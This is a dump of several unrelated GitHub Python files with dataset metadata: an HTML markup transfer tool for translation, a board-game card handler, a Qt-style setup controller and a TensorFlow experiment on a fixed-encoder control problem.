string\n        lang : str (default en)\n            Language to use for tokenizer\n\n        Returns\n        -------\n        None\n        \"\"\"\n        self.logger.debug(\"BEGIN EXTRACTION PROCESS\")\n        if lang not in self.tokenizer.languages:\n            raise TypeError(f\"Tokenizer not able to handle language: {lang}\")\n\n        soup = BeautifulSoup(raw, \"html.parser\")\n        self.tokens = self._extract_markup(soup, lang=lang)\n        del self.tag_id_map[0]  # Remove <[document]> tag inserted by BeautifulSoup\n\n    def migrate_tags(self, alignments: List[tuple], threshold: float = 0.5, force_migrate: bool = False) -> None:\n        \"\"\"\n        Migrates the tag map to target tokens based on provided alignments. Target alignments stored in tgt_tag_map and tgt_no_token_tags attributes.\n\n        Paramters\n        ---------\n        alignments : List[tuple[int,int,float]]\n            List of tuples where each tuple contains, in order, the source token index, the target token index, and the score for that alignment\n        threshold : float (default 0.5)\n            Threshold for algorithm to accept the alignment.\n        force_migrate: bool (default False)\n            Forces tags in source to migrate to target regardless of threshold set.\n\n\n        Returns\n        -------\n        None\n        \"\"\"\n        self.logger.debug(\"BEGIN TAG MIGRATION\")\n        if not self.tag_map:\n            self.logger.warning(\"No tag map found! Did you run extract_markup already?\")\n\n        untagged_ids = list(\n            self.no_token_tags.keys()\n        )  # Keep track of which tokens have no_token_tags mapped but were not migrated. Only done for tags without tokens as tag interpolation will not be able to deal with them.\n\n        secondary_alignment = []\n        unmigrated_tag_ids = self.tag_id_map.keys()\n\n        for src_idx, tgt_idx, score in alignments:\n            if score < threshold:\n                self.logger.debug(f\"{src_idx} TO {tgt_idx} SKIPPED, BELOW THRESHOLD\")\n                secondary_alignment.append((src_idx, tgt_idx, score))\n                continue\n\n            self.logger.debug(f\"{src_idx} MAPPED TO {tgt_idx}\")\n            if src_idx in self.tag_map:\n                if tgt_idx not in self.tgt_tag_map:\n                    self.tgt_tag_map[tgt_idx] = []\n\n                self.tgt_tag_map[tgt_idx].extend(self.tag_map[src_idx])\n                unmigrated_tag_ids = [tag for tag in unmigrated_tag_ids if tag not in self.tag_map[src_idx]]\n\n            if src_idx in self.no_token_tags:\n                self.logger.debug(f\"NO-TOKEN-TAGS FOUND FOR SOURCE INDEX {src_idx}\")\n                if tgt_idx not in self.tgt_no_token_tags:\n                    self.tgt_no_token_tags[tgt_idx] = []\n\n                self.tgt_no_token_tags[tgt_idx].extend(self.no_token_tags[src_idx])\n                unmigrated_tag_ids = [tag for tag in unmigrated_tag_ids if tag not in self.no_token_tags[src_idx]]\n                if src_idx in untagged_ids:\n                    untagged_ids.remove(src_idx)\n        \n\n        available_sources = {src_idx: tgt_idx for src_idx, tgt_idx, _ in alignments} # Dropping scores and restructuring as dict.\n\n        # Migrate no_token_tags to nearest token\n        if untagged_ids:\n            self.logger.debug(\"NO-TOKEN-TAGS FAILED TO MIGRATE\")\n            self.logger.debug(\"APPROXIMATING TO NEAREST TOKEN\")\n\n        for untagged_id in untagged_ids:\n            if untagged_id in unmigrated_tag_ids:\n                unmigrated_tag_ids.remove(untagged_id)\n\n            available_candidates = [\n                src_idx for src_idx in available_sources if src_idx >= untagged_id\n            ]\n            if (\n                not available_candidates\n            ):  # Check for any src indexes in alignment that are larger than or equal to untagged\n                available_candidates = [\n                    src_idx for src_idx in available_sources if src_idx < untagged_id\n                ]  # If there aren't any, check if any src indexes in alignment that are less than untagged\n\n            if (\n                not available_candidates\n            ):  # If there are no alignments for any tags more than equal to, or less than untagged (empty alignment)\n                self.tgt_no_token_tags[0] = self.no_token_tags[untagged_id]\n                self.logger.warning(\n                    f\"UNABLE TO MAP TAG ID WITH NO TOKENS FROM SOURCE {untagged_id}. ASSIGNING TAGS TO FIRST TOKEN TO AVOID DROPPING. CHECK IF ALIGNMENT IS CORRECT!\"\n                )\n\n                continue\n\n            closest = (\n                min(available_candidates)\n                if min(available_candidates) >= untagged_id\n                else max(available_candidates)\n            )\n            tgt_idx = available_sources[closest]\n            self.logger.debug(f\"ASSIGNING NO-TOKEN-TAG ID {untagged_id} TO TOKEN INDEX {tgt_idx}\")\n            if closest not in self.tgt_no_token_tags:\n                self.tgt_no_token_tags[closest] = []\n\n            self.tgt_no_token_tags[closest].extend(self.no_token_tags[untagged_id])\n        \n        if unmigrated_tag_ids:\n            if not force_migrate:\n                self.logger.warning(\"UNMIGRATED TAGS FOUND! IS YOUR THRESHOLD TOO HIGH?\")\n            \n            else:\n                # NOTE: UNTESTED. UNSURE OF HOW WELL THIS PERFORMS.\n                self.logger.debug(\"FORCE MIGRATING TAGS\")\n                for src_idx, tgt_idx, _ in secondary_alignment:\n                    tags = self.tag_map[src_idx]\n                    shared = set(tags).intersection(set(unmigrated_tag_ids))\n                    if not shared:\n                        continue\n\n                    if tgt_idx not in self.tgt_tag_map:\n                        self.tgt_tag_map[tgt_idx] = []\n\n                    self.tgt_tag_map[tgt_idx].extend(shared)\n\n        # Remove duplicates\n        for key in self.tgt_tag_map:\n            self.tgt_tag_map[key] = list(set(self.tgt_tag_map[key]))\n\n        for key in self.tgt_no_token_tags:\n            self.tgt_no_token_tags[key] = list(set(self.tgt_no_token_tags[key]))\n\n    def tag_interpolate(self, target: bool = True, interpolation_gap: int = 2) -> None:\n        \"\"\"\n        Perform tag interpolation to alleviate word alignment errors.\n\n        Parameters\n        ----------\n        target : bool (default True)\n            Interpolate the target tokens stored in tgt_tag_map attribute. Will interpolate source tags if set to False.\n        interpolation_gap : int (default 2)\n            Maximum number of consecutive untagged tokens before the\n\n        Returns\n        -------\n        None\n        \"\"\"\n        if target:\n            to_interpolate = self.tgt_tag_map\n\n        else:\n            to_interpolate = self.tag_map\n\n        if not to_interpolate:\n            self.logger.warn(\"NO ENTRIES IN TAG MAP! NOTHING TO INTERPOLATE!\")\n            return\n\n        to_interpolate = dict(OrderedDict(sorted(to_interpolate.items())))\n\n        gap = 0\n        gap_start = 0\n        token_idx_checker = -1\n\n        for token_idx, tags in to_interpolate.items():\n            if (\n                token_idx != token_idx_checker + 1\n            ):  # Case should be handled when calling from reinsert_markup method. Not guaranteed when calling directly.\n                self.logger.warning(\n                    f\"MISSING TOKEN INDEX {token_idx_checker + 1}! ASSIGN AN EMPTY LIST TO INTERPOLATE!\"\n                )\n\n            token_idx_checker = token_idx\n\n            if not tags:\n                if not gap:\n                    gap_start = token_idx\n\n                gap += 1\n                continue\n\n            if not gap:\n                continue\n\n            if gap <= interpolation_gap:\n                if gap_start == 0:\n                    interpolated_tags = to_interpolate[token_idx]\n\n                else:\n                    interpolated_tags = list(\n                        set(to_interpolate[gap_start - 1]).intersection(\n                            set(to_interpolate[token_idx])\n                        )\n                    )\n\n                for i in range(gap_start, gap_start + gap):\n                    to_interpolate[i] = interpolated_tags\n\n                gap = 0\n\n        if gap and gap <= interpolation_gap and gap_start != 0:\n            for i in range(gap_start, gap_start + gap):\n                to_interpolate[i] = to_interpolate[gap_start - 1]\n\n        if target:\n            self.tgt_tag_map = to_interpolate\n\n        else:\n            self.tag_map = to_interpolate\n\n    def reinsert_markup(\n        self,\n        tokens: List[str],\n        target: bool = True,\n        interpolation_gap: int = 2,\n        lang: str = \"en\",\n    ) -> str:\n        \"\"\"\n        Reinserts markup tags into a provided list of tokens.\n\n        Parameters\n        ----------\n        token : List[str]\n            List of tokens to reinsert markup tags into\n        target : bool (default True)\n            Reinsert based on target token map. Set to false to use source token map.\n        interpolation_gap : int (default 2)\n            Interpolation gap to use\n        lang : str\n            Language to use for detokenizer\n\n\n        Returns\n        -------\n        output : str\n            Output markup after tags have been reinserted\n        \"\"\"\n        if not tokens:\n            raise TypeError(\"No tokens to migrate to!\")\n\n        if (not self.tgt_tag_map) and (target):\n            self.logger.warning(\n                \"TAG_MAP EMPTY FOR TARGET. DID YOU RUN MIGRATE_TAGS?\"\n            )\n\n        if target:\n            for i in range(len(tokens)):\n                if i not in self.tgt_tag_map:\n                    self.tgt_tag_map[i] = []\n\n        self.tag_interpolate(target=target, interpolation_gap=interpolation_gap)\n\n        if target:\n            to_reinsert = self.tgt_tag_map\n            to_reinsert_no_tokens = self.tgt_no_token_tags\n\n        else:\n            to_reinsert = self.tag_map\n            to_reinsert_no_tokens = self.no_token_tags\n\n        active_tags = []\n        output_buffer = []\n        _output_buffer = []  # To hold list of tokens for detokenizing\n\n        for token_idx, token in enumerate(tokens):\n            new_tags = to_reinsert[token_idx]\n\n            opening = [tag for tag in new_tags if tag not in active_tags]\n            closing = list(\n                reversed([tag for tag in active_tags if tag not in new_tags])\n            )\n\n            if token_idx in to_reinsert_no_tokens:\n                no_tokens = to_reinsert_no_tokens[token_idx]\n\n            else:\n                no_tokens = []\n\n            if opening or closing or no_tokens: # There exist some change in tags, clear the string buffer.\n                if _output_buffer:\n                    output_buffer.append(\n                        self.tokenizer.detokenize(_output_buffer, lang=lang)\n                    )\n                    _output_buffer = []\n\n            # Information on ordering of no-token-tags and closing tags are not captured. \n            # Hard coded to insert no-token-tags after closing.\n            for closing_tag_id in closing: # First In Last Out structure of XML dictates that closing tags must be inserted first.\n                active_tags.remove(closing_tag_id)\n                if closing_tag_id == 0: # BeautifulSoup inserted tag\n                    continue\n\n                if closing_tag_id not in self.tag_id_map:\n                    self.logger.warning(\n                        f\"Tag ID {closing_tag_id} NOT FOUND WHEN CLOSING! SKIPPING!\"\n                    )\n                    continue\n\n                new_tag = \"</\" + self.tag_id_map[closing_tag_id].split(\" \", 1)[0][1:]\n                if not new_tag.endswith(\">\"):\n                    new_tag += \">\"\n\n                output_buffer.append(new_tag)\n                # TODO: Handle whitespace insertion around tags\n                # Added to avoid tokens occuring immediately after tag from sticking to previous token.\n                # Not necessarily true for all languages, but much more damaging to readability of outcome if its missing when it needs to be there.\n                output_buffer.append(\" \")\n\n            for opening_tag_id in opening:\n                if opening_tag_id == 0:\n                    continue\n\n                if opening_tag_id not in self.tag_id_map:\n                    self.logger.warning(\n                        f\"Tag ID {opening_tag_id} NOT FOUND WHEN OPENING! SKIPPING!\"\n                    )\n                    continue\n                active_tags.append(opening_tag_id)\n\n                new_tag = self.tag_id_map[opening_tag_id]\n                if (\n                    output_buffer\n                    and output_buffer[-1] != \" \"\n                    and not is_tag(output_buffer[-1])\n                ):\n                    output_buffer.append(\" \")\n\n                # Handle order of insertion of no-token-tags by tag ID.\n                _no_tokens = [tag_id for tag_id in no_tokens if tag_id < opening_tag_id]\n                for tag_id in _no_tokens:\n                    _new_tag = self.tag_id_map[tag_id]\n                    output_buffer.append(_new_tag)\n                \n                no_tokens = [tag_id for tag_id in no_tokens if tag_id not in _no_tokens]\n\n                output_buffer.append(new_tag)\n\n            for tag_id in no_tokens:\n                if tag_id not in self.tag_id_map:\n                    self.logger.warning(\n                        f\"Tag ID {tag_id} NOT FOUND WHEN SELF CLOSING! SKIPPING!\"\n                    )\n                    continue\n\n                new_tag = self.tag_id_map[tag_id]\n\n                if (\n                    output_buffer\n                    and output_buffer[-1] != \" \"\n                    and not is_tag(output_buffer[-1])\n                ):\n                    output_buffer.append(\" \")\n\n                output_buffer.append(new_tag)\n\n            _output_buffer.append(token)\n\n            active_tags = [tag for tag in active_tags if tag not in closing]\n            active_tags.extend(opening)\n            active_tags = list(set(active_tags))\n\n        if _output_buffer:\n            output_buffer.append(self.tokenizer.detokenize(_output_buffer, lang=lang))\n\n        # Close buffers.\n        if active_tags:\n            for tag_id in reversed(active_tags):\n                if tag_id == 0:\n                    continue\n\n                if tag_id not in self.tag_id_map:\n                    self.logger.warning(\n                        f\"Tag ID {tag_id} NOT FOUND WHEN CLOSING! SKIPPING!\"\n                    )\n                    continue\n\n                new_tag = \"</\" + self.tag_id_map[tag_id].split(\" \", 1)[0][1:]\n                if not new_tag.endswith(\">\"):\n                    new_tag += \">\"\n\n                output_buffer.append(new_tag)\n\n        if to_reinsert_no_tokens and max(to_reinsert_no_tokens.keys()) == len(tokens):\n            output_buffer.extend(\n                [\n                    self.tag_id_map[tag_id]\n                    for tag_id in to_reinsert_no_tokens[len(tokens)]\n                ]\n            )\n\n        output = \"\".join(output_buffer)\n        return output\n\n    def test(\n        self,\n        text: str,\n        to_log: List[str] = (\"tokens\", \"tag_map\", \"no_token_tags\", \"tag_id_map\"),\n    ) -> str:\n        \"\"\"\n        Extract and reinsert immediately to test the extraction and reinsertion algorithm. Logs info to stdout.\n\n        Parameters\n        ----------\n        text : str\n            Raw text with markup to test with\n        to_log : List[str]\n            List of parameters to log to stdout\n\n\n        Returns\n        -------\n        output : str\n            Output after extracting and reinserting markup.\n        \"\"\"\n        logging.basicConfig(level=logging.DEBUG)\n        self.extract_markup(text)\n        target_tokens = self.tokens.copy()\n        alignments = [(i, i, 1) for i in range(len(target_tokens))]\n        self.migrate_tags(alignments)\n        output = self.reinsert_markup(target_tokens)\n        tree_edit_dist = compare_markup(text, output)\n\n        log_string_source = [\"Source info\"]\n        log_string_target = [\"Target info\"]\n\n        if \"tokens\" in to_log:\n            log_string_source.append(f\"Tokens: {self.tokens}\")\n            log_string_target.append(f\"Target Tokens: {target_tokens}\")\n\n        if \"tag_map\" in to_log:\n            log_string_source.append(f\"Tag Map: {self.tag_map}\")\n            log_string_target.append(f\"Target Tag Map: {self.tgt_tag_map}\")\n\n        if \"no_token_tags\" in to_log:\n            log_string_source.append(f\"No Token Tags: {self.no_token_tags}\")\n            log_string_target.append(f\"Target No Token Tags: {self.tgt_no_token_tags}\")\n\n        log_string = []\n\n        if \"tag_id_map\" in to_log:\n            log_string.append(f\"Tag ID Map: {self.tag_id_map}\")\n\n        log_string.append(\"\\n\\n\".join(log_string_source))\n        log_string.append(\"\\n\\n\".join(log_string_target))\n\n        log_string = (\n            \"\\n-----------------------------------\\n\"\n            + \"\\n\\n-----------------------------------\\n\\n\".join(log_string)\n            + \"\\n\\n-----------------------------------\\n\\n\"\n            + f\"Output: {output}\\n\"\n            + f\"Tree Edit Distance: {tree_edit_dist}\"\n            + \"\\n\\n-----------------------------------\\n\\n\"\n        )\n\n        self.logger.info(log_string)\n        logging.basicConfig(level=logging.WARNING)\n        self.reset()\n        return output\n\n    def reset(self) -> None:\n        \"\"\"\n        Reset the instance to handle new task.\n\n        Parameters\n        ----------\n        None\n\n        Returns\n        -------\n        None\n        \"\"\"\n        self.tag_id_map = {}\n\n        # Source version\n        self.tag_map = {}\n        self.tokens = []\n        self.no_token_tags = {}\n\n        # Target version\n        self.tgt_tag_map = {}\n        self.tgt_tokens = []\n        self.tgt_no_token_tags = {}\n\n\nif __name__ == \"__main__\":\n    test_transins = TransIns()\n    test_text = r\"<h><p>this is a</p> <p><b><!-- DO NOT TRANSLATE -->test</b></p></h>\"\n    output = test_transins.test(test_text)\n", "repo_name": "clovisNyu/PyTransIns", "sub_path": "pytransins/transins.py", "file_name": "transins.py", "file_ext": "py", "file_size_in_byte": 23881, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Union", "line_number": 16, "usage_type": "name"}, {"api_name": "pytransins.tokenizer.Tokenizer", "line_number": 16, "usage_type": "name"}, {"api_name": "logging.getLogger", "line_number": 30, "usage_type": "call"}, {"api_name": "pytransins.tokenizer.MosesTokenizer", "line_number": 32, "usage_type": "call"}, {"api_name": "pytransins.tokenizer.TokenizerGroup", "line_number": 46, "usage_type": "call"}, {"api_name": "bs4.element.Tag", "line_number": 85, "usage_type": "name"}, {"api_name": "bs4.element.NavigableString", "line_number": 111, "usage_type": "name"}, {"api_name": "bs4.element.Comment", "line_number": 116, "usage_type": "name"}, {"api_name": "pytransins.utils.get_opening_tag", "line_number": 133, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 86, "usage_type": "name"}, {"api_name": "bs4.BeautifulSoup", "line_number": 200, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 204, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 351, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 405, "usage_type": "name"}, {"api_name": "pytransins.utils.is_tag", "line_number": 516, "usage_type": "call"}, {"api_name": "pytransins.utils.is_tag", "line_number": 542, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 589, "usage_type": "name"}, {"api_name": "logging.basicConfig", "line_number": 607, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 607, "usage_type": "attribute"}, {"api_name": "pytransins.utils.compare_markup", "line_number": 613, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 648, "usage_type": "call"}, {"api_name": "logging.WARNING", "line_number": 648, "usage_type": "attribute"}]}
{"seq_id": "70821194826", "text": "from dataclasses import dataclass\nfrom typing import List\n\nfrom app.schemas.game_schema import Positions\nfrom .event_card_handler import EventCardHandler\n\n\nclass LetterOfMarque(EventCardHandler):\n    @property\n    def can_use(self) -> bool:\n        if self.game.turn != self.player:\n            return False\n        positions = [\n            Positions.JR_B, Positions.FD_B, *Positions.tr_positions()\n        ]\n        return any(\n            self.game.players_position[player] in positions\n            for player in self.game.players\n        )\n\n    def reveal(self):\n        option_opr = self.options_operations[self.chosen_option]\n        self.game.set_position(option_opr.who, option_opr.where)\n\n    @property\n    def options(self) -> List:\n        positions = [\n            Positions.JR_B, Positions.FD_B, *Positions.tr_positions()\n        ]\n        options = []\n        for player in self.game.players:\n            if self.game.players_position[player] in positions:\n                options.append(f\"{player} to jolly roger\")\n                options.append(f\"{player} to flying dutchman ship\")\n        return options\n\n    @property\n    def options_operations(self):\n        positions = [\n            Positions.JR_B, Positions.FD_B, *Positions.tr_positions()\n        ]\n        options = []\n        for player in self.game.players:\n            if self.game.players_position[player] in positions:\n                options.extend(\n                    [\n                        Operation(player, Positions.JR),\n                        Operation(player, Positions.FD)\n                    ]\n                )\n            return options\n\n    @property\n    def can_keep(self):\n        return True\n\n\n@dataclass\nclass Operation:\n    who: str\n    where: str\n", "repo_name": "Glyphack/tortuga", "sub_path": "app/api/services/game_services/event_card_handlers/letter_of_marque_handler.py", "file_name": "letter_of_marque_handler.py", "file_ext": "py", "file_size_in_byte": 1749, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "81", "api": [{"api_name": "event_card_handler.EventCardHandler", "line_number": 8, "usage_type": "name"}, {"api_name": "app.schemas.game_schema.Positions.JR_B", "line_number": 14, "usage_type": "attribute"}, {"api_name": "app.schemas.game_schema.Positions", "line_number": 14, "usage_type": "name"}, {"api_name": "app.schemas.game_schema.Positions.FD_B", "line_number": 14, "usage_type": "attribute"}, {"api_name": "app.schemas.game_schema.Positions.tr_positions", "line_number": 14, "usage_type": "call"}, {"api_name": "app.schemas.game_schema.Positions.JR_B", "line_number": 28, "usage_type": "attribute"}, {"api_name": "app.schemas.game_schema.Positions", "line_number": 28, "usage_type": "name"}, {"api_name": "app.schemas.game_schema.Positions.FD_B", "line_number": 28, "usage_type": "attribute"}, {"api_name": "app.schemas.game_schema.Positions.tr_positions", "line_number": 28, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 26, "usage_type": "name"}, {"api_name": "app.schemas.game_schema.Positions.JR_B", "line_number": 40, "usage_type": "attribute"}, {"api_name": "app.schemas.game_schema.Positions", "line_number": 40, "usage_type": "name"}, {"api_name": "app.schemas.game_schema.Positions.FD_B", "line_number": 40, "usage_type": "attribute"}, {"api_name": "app.schemas.game_schema.Positions.tr_positions", "line_number": 40, "usage_type": "call"}, {"api_name": "app.schemas.game_schema.Positions.JR", "line_number": 47, "usage_type": "attribute"}, {"api_name": "app.schemas.game_schema.Positions", "line_number": 47, "usage_type": "name"}, {"api_name": "app.schemas.game_schema.Positions.FD", "line_number": 48, "usage_type": "attribute"}, {"api_name": "app.schemas.game_schema.Positions", "line_number": 48, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 58, "usage_type": "name"}]}
{"seq_id": "452557020", "text": "\"\"\"\nPackage Setup Controller (Connections))\n\"\"\"\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\nclass PackageSetupController:\n    def __init__(self, model, view):\n        \"\"\"\n        Initializes package setup model object and creates connections between model and view\n        Args:\n            model (PackageSetupModel): Setup Logic\n            view (PackageSetupView): Setup UI\n        \"\"\"\n        self.model = model\n        self.view = view\n\n        self.view.controller = self.model  # To avoid garbage collection\n\n        # Buttons\n        self.view.ButtonInstallClicked.connect(self.model.install_package)\n        self.view.ButtonUninstallClicked.connect(self.model.uninstall_package)\n        self.view.ButtonRunOnlyClicked.connect(self.model.run_only_package)\n\n        # Feedback\n        self.model.UpdatePath.connect(self.view.update_installation_path_text_field)\n        self.model.UpdateVersionSetup.connect(self.view.update_version_current_setup)\n        self.model.UpdateVersionInstalled.connect(self.view.update_version_installed)\n        self.model.UpdateStatus.connect(self.view.update_status_text)\n        self.model.CloseView.connect(self.view.close_window)\n\n        # Initial Update\n        self.model.update_path()\n        self.model.update_status()\n        self.model.update_version()\n\n        # Show\n        self.view.show()\n\n\nif __name__ == \"__main__\":\n    controller = PackageSetupController(None, None)\n", "repo_name": "TrevisanGMW/gt-tools", "sub_path": "gt/tools/package_setup/setup_controller.py", "file_name": "setup_controller.py", "file_ext": "py", "file_size_in_byte": 1434, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 96, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}]}
{"seq_id": "72184851786", "text": "import tensorflow as tf\nimport numpy as np\nimport uuid\nimport sys\nimport scipy.stats \nimport matplotlib\nimport itertools \nmatplotlib.use('Agg')\n\nimport matplotlib.pyplot as plt\n\ndef neural_net_run(m, k_sq, learning_rate, epochs, batch_size, x_stddev, \n  encoder_activation_1, encoder_activation_2, decoder_activation_1, decoder_activation_2, \n  num_units_1, num_units_2, decay, test_averaging, optimizer_func, skip_layer):\n  '''\n  A single run of the decoder network. Assume a fixed encoder which performs a piecewise\n  constant function. \n\n  m = Dimensions\n  k_sq = k_squared value for loss function\n  learning_rate = constant LR. \n  epochs = number of epochs \n  batch_size = batch_size for NN training\n  x_stddev = standard deviation of x_0 \n  encoder_activation_1 = activation function for layer 1\n  encoder_activation_2 = activation function for layer 2\n  decoder_activation_1 = activation function for layer 3\n  decoder_activation_2 = activation function for layer 4\n  num_units_1 = number of units in hidden layer 1 \n  num_units_2 = number of units in hidden layer 3 \n  decay = learning rate decay \n  test_averaging = number of steps over which to average u1, u2, x1\n  optimizer_func = optimizer from tensorflow\n  skip_layer = A boolean which indicates whether the last layer sees a residual or not. \n  '''\n\n  #x1 is a placeholder because it is deterministic. We \n  #also pass in x0 in order to calculate u1. \n  \n\n  x0 = tf.placeholder(tf.float32, [None, m])\n  x1 = tf.placeholder(tf.float32, [None, m])\n  z = tf.placeholder(tf.float32, [None, m])\n\n  # f1 = lambda: tf.constant(-10)\n  # f2 = lambda: tf.constant(-4)\n  # f3 = lambda: tf.constant(-4)\n  # f4 = lambda: tf.constant(10)\n\n  # pw_step_func = tf.case({tf.less(x, -7): f1, tf.less(x, 0): f2, \n  #   tf.less(x, 7): f3, tf.greater(x, 7): f4}, \n  #   exclusive=True)\n\n  # x1 = x0 #TODO apply piecewise linear function \n  \n  u1 = x1 - x0 \n  # u1_cost = tf.reduce_mean(tf.pow(tf.norm(u1,axis=1),2))\n\n  u1_cost = tf.reduce_mean(tf.reduce_sum((u1)**2, axis=1))\n  # u1_cost = (tf.norm(u1)**2) / batch_size #todo change this? not sure which is correct\n\n\n  # The observed value for the second controller is the original controlled with noise\n  y2 = tf.placeholder_with_default(x1 + z, [None, m])\n\n  l3 = tf.layers.dense(\n    y2, num_units_2, activation=decoder_activation_1, use_bias=True)\n  if skip_layer: \n    l4 = tf.layers.dense(\n      l3 + y2, m, activation=decoder_activation_2, use_bias=True) #CHANGED TO RESIDUAL LAYER\n  else: \n    l4 = tf.layers.dense(\n      l3, m, activation=decoder_activation_2, use_bias=True) #CHANGED TO RESIDUAL LAYER\n\n  u2 = -l4\n  x2 = x1 + u2\n\n  # x2_cost = (tf.norm(x2) ** 2) / batch_size\n  x2_cost = tf.reduce_mean(tf.reduce_sum((x2)**2, axis=1))\n\n  # x2_cost = tf.reduce_mean(tf.pow(tf.norm(x2,axis=1),2))\n  \n  wits_cost = (k_sq * u1_cost) + x2_cost\n  \n  adaptive_learning_rate = tf.placeholder_with_default(learning_rate, [])\n\n  if optimizer_func == tf.train.AdamOptimizer: \n    optimizer = tf.train.AdamOptimizer(adaptive_learning_rate, epsilon=1e-4).minimize(wits_cost)\n  else:\n    optimizer = optimizer_func(adaptive_learning_rate).minimize(wits_cost)\n  # optimizer = tf.train.GradientDescentOptimizer(learning_rate=adaptive_learning_rate).minimize(wits_cost)\n\n  init_op = tf.global_variables_initializer()\n  print_step = int(epochs/50)\n\n  #RUN TRAINING\n  mc_batch_size = 5000\n  mc_x_batch = np.random.normal(size=(mc_batch_size, 1), scale = x_stddev)\n  mc_z_batch = np.random.normal(size=(mc_batch_size, 1), scale = 1.0)\n  mc_losses = []\n\n  with tf.Session() as sess:\n      sess.run(init_op)\n      x_train = np.random.normal(size=epochs * batch_size * m, scale=x_stddev)\n\n    # Train for some epochs\n      for step in range(epochs):\n          x0_batch = x_train[step: step + (batch_size * m)].reshape((batch_size, m))\n          x1_batch = pw_step_function(x0_batch)\n\n          # Noise has variance 1\n          z_batch = np.random.normal(size=(batch_size, m), scale=1)\n\n          \n          current_lr = learning_rate\n          _, val = sess.run(\n          [optimizer, wits_cost],\n          feed_dict={x0: x0_batch, x1: x1_batch, z: z_batch,\n               adaptive_learning_rate: current_lr, \n               #y1: y1_batch\n               }) \n\n          mc_cost = sess.run([wits_cost], feed_dict={x0: mc_x_batch, z: mc_z_batch})\n\n          if step % print_step == 0:\n              print(\"step: {}, train loss: {}, MC loss: \".format(step, val, current_lr))\n\n    # Test over a continuous range of X\n    \n      num_x0_points = 550\n      x0_test = np.linspace(-3 * x_stddev, 3 * x_stddev, num=num_x0_points)\n      # x0_test = num_x0_points.hstack((np.linspace(-3 * x_stddev, -7.1, num=100), \n      #      np.linspace(-7.1, -6.9, num=50), \n      #      np.linspace(-6.9, -0.1, num=100),\n      #      np.linspace(-0.1, 0.1, num=50), \n      #      np.linspace(0.1, 6.9, num=100),\n      #      np.linspace(6.9, 7.1, num=50), \n      #      np.linspace(7.1, 3*x_stddev, num=100)))\n      # np.linspace(-7.1, -6.9, num=100), np.linspace(-0.1, 0.1, num=100), np.linspace(6.9, 7.1, num=100)\n      # x0_test = np.linspace(-3*x_stddev, 3*x_stddev, num=num_x0_points)\n      y2_test = x0_test\n      x1_test = pw_step_function(x0_test)\n      z_test = np.random.normal(scale=1, size=num_x0_points)\n\n      u1_test, u2_test, wits_cost_test = np.zeros((1, num_x0_points)), np.zeros((1, num_x0_points)), np.zeros((1, num_x0_points))\n      wits_cost_total = 0.0 \n      x0_distribution = scipy.stats.norm(loc=0.0, scale=x_stddev)\n      total_density = 0.0\n      for i in range(num_x0_points):\n          u1t, u2t, wits_cost_t  = 0, 0, 0\n          \n          #vignesh says: don't pass in y2 values\n          for _ in range(test_averaging):\n            u1tmp, u2tmp, y2tmp,x1tmp, ztmp, wits_cost_tmp = sess.run(\n                 [u1, u2, y2, x1,z, wits_cost],\n                 feed_dict={x0: x0_test[i].reshape((1, 1)), x1: x1_test[i].reshape((1, 1)),\n                 z: np.array(np.random.normal(scale=1)).reshape((1, 1))})\n            wits_cost_t += wits_cost_tmp\n            u1t += u1tmp\n            u2t += u2tmp\n            \n          x0_density = x0_distribution.pdf(x0_test[i])\n          total_density += x0_density\n          scaled_wits_cost = wits_cost_t * x0_density\n          wits_cost_test[0, i] = scaled_wits_cost / test_averaging\n          u1_test[0, i] = u1t / test_averaging\n          u2_test[0, i] = -u2t / test_averaging\n          #x1_test[0, i] = x1t / test_averaging\n      total_cost = np.sum(wits_cost_test) / total_density\n      print('Mean loss over {} points is {}'.format(num_x0_points, total_cost))\n\n      # PLOTTING. Unnecessary for now because we're just doing hyperparameter search\n      # TODO fix activation function names\n      # l1, = plt.plot(x0_test, u1_test[0], label=\"U1 Test\")\n      # plt.legend(handles=[l1])\n      # plt.title(\"{} Unit NN With Activation Fns {}, {}\".format(\n      #   str(num_units_1), str(encoder_activation_1), str(decoder_activation_1)))\n      # plt.savefig(\"figs/y1_tests/x0vsu1_nu1_{}_nu2_{}_ksq_{}_f1_{}_f3_{}.png\".format(\n      #   str(num_units_1), str(num_units_2) ,str(k_sq), \n      #   str(encoder_activation_1), str(decoder_activation_1)))\n\n      # print('x0 points: {}'.format(x0_test))\n      # print('x1 points: {}'.format(x1_test))\n      # print('z points: {}'.format(z_test))\n      # print('y1 points: {}'.format(x1_test + z_test))\n      # print('u2 points: {}'.format(u2_test[0]))\n      plt.clf()\n      plt.plot(y2_test, u2_test[0], lw=0.5, c='green')\n      plt.scatter(y2_test, u2_test[0], s=0.2, c='blue')\n      plt.plot([-4, -4], [-10, 10], c='red')\n      plt.plot([-1, -1], [-10, 10], c='red')\n      plt.plot([2, 2], [-10, 10], c='red')\n      plt.plot([5, 5], [-10, 10], c='red')\n      \n      # plt.legend(handles=[l1])\n      plt.title(\"Y2 vs U2, {} Units, {}, {} Activations\".format(\n        str(num_units_2), str(decoder_activation_1), str(decoder_activation_2)))\n      plt.savefig(\"figs/fixed_encoder_test/y2vsu2_nu1_{}_nu2_{}_ksq_{}_xstd_{}_f3_{}_f4_{}.png\".format(\n        str(num_units_1), str(num_units_2) ,str(k_sq), str(x_stddev),\n        str(decoder_activation_1), str(decoder_activation_2)))\n\n      # plt.clf()\n      # l1, = plt.plot(y1_test, u2_test[0] + x1_test[0], label=\"X2 Test\")\n      # plt.legend(handles=[l1])\n      # plt.title(\"{} Unit NN With Activation Fns, {}, {}\".format(\n      #   str(num_units_2), str(encoder_activation_1), str(decoder_activation_1)))\n      # 